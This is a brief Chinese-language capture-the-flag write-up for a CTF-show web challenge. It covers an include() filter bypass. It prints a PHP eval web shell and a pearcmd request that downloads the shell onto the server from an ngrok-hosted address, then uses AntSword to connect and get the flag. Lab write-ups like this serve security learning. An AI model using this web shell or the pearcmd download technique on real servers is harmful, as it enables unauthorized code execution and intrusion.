CTF-show web第二十二题
CTF-show web第二十二题
这里过滤了:,/,\反斜杠,为什么是三个\\\因为,php中反斜杠是\\,所以再转义就为\\\
然后将我们输入test后的内容变为:include(test.php)就看里面有没有test.php
我们试了一下36d发现有但是我们拿不到结果,所以我们用pearcmd()这个是接收参数,
解法就是在本地写一句话木马然后上传到服务器,再访问这个一句话木马就行
木马:<?@eval($_POST[123])?>
过程就是:1,先使用python -m http.server 80 临时打开http端口
2.然后使用ngrok http 80 获取公网ip地址
forwarding那一栏就是
3.使用/?c=pearcmd&+download+公网的本地文件地址
/?c=pearcmd&+download+https://sandal-recopy-pull.ngrok-free.dev/Desktop/1.php
显示这个代表上传成功,接下来就可以得到flag了
1.使用中国蚁剑
打开36d.php就得到了flag。






浙公网安备 33010602011771号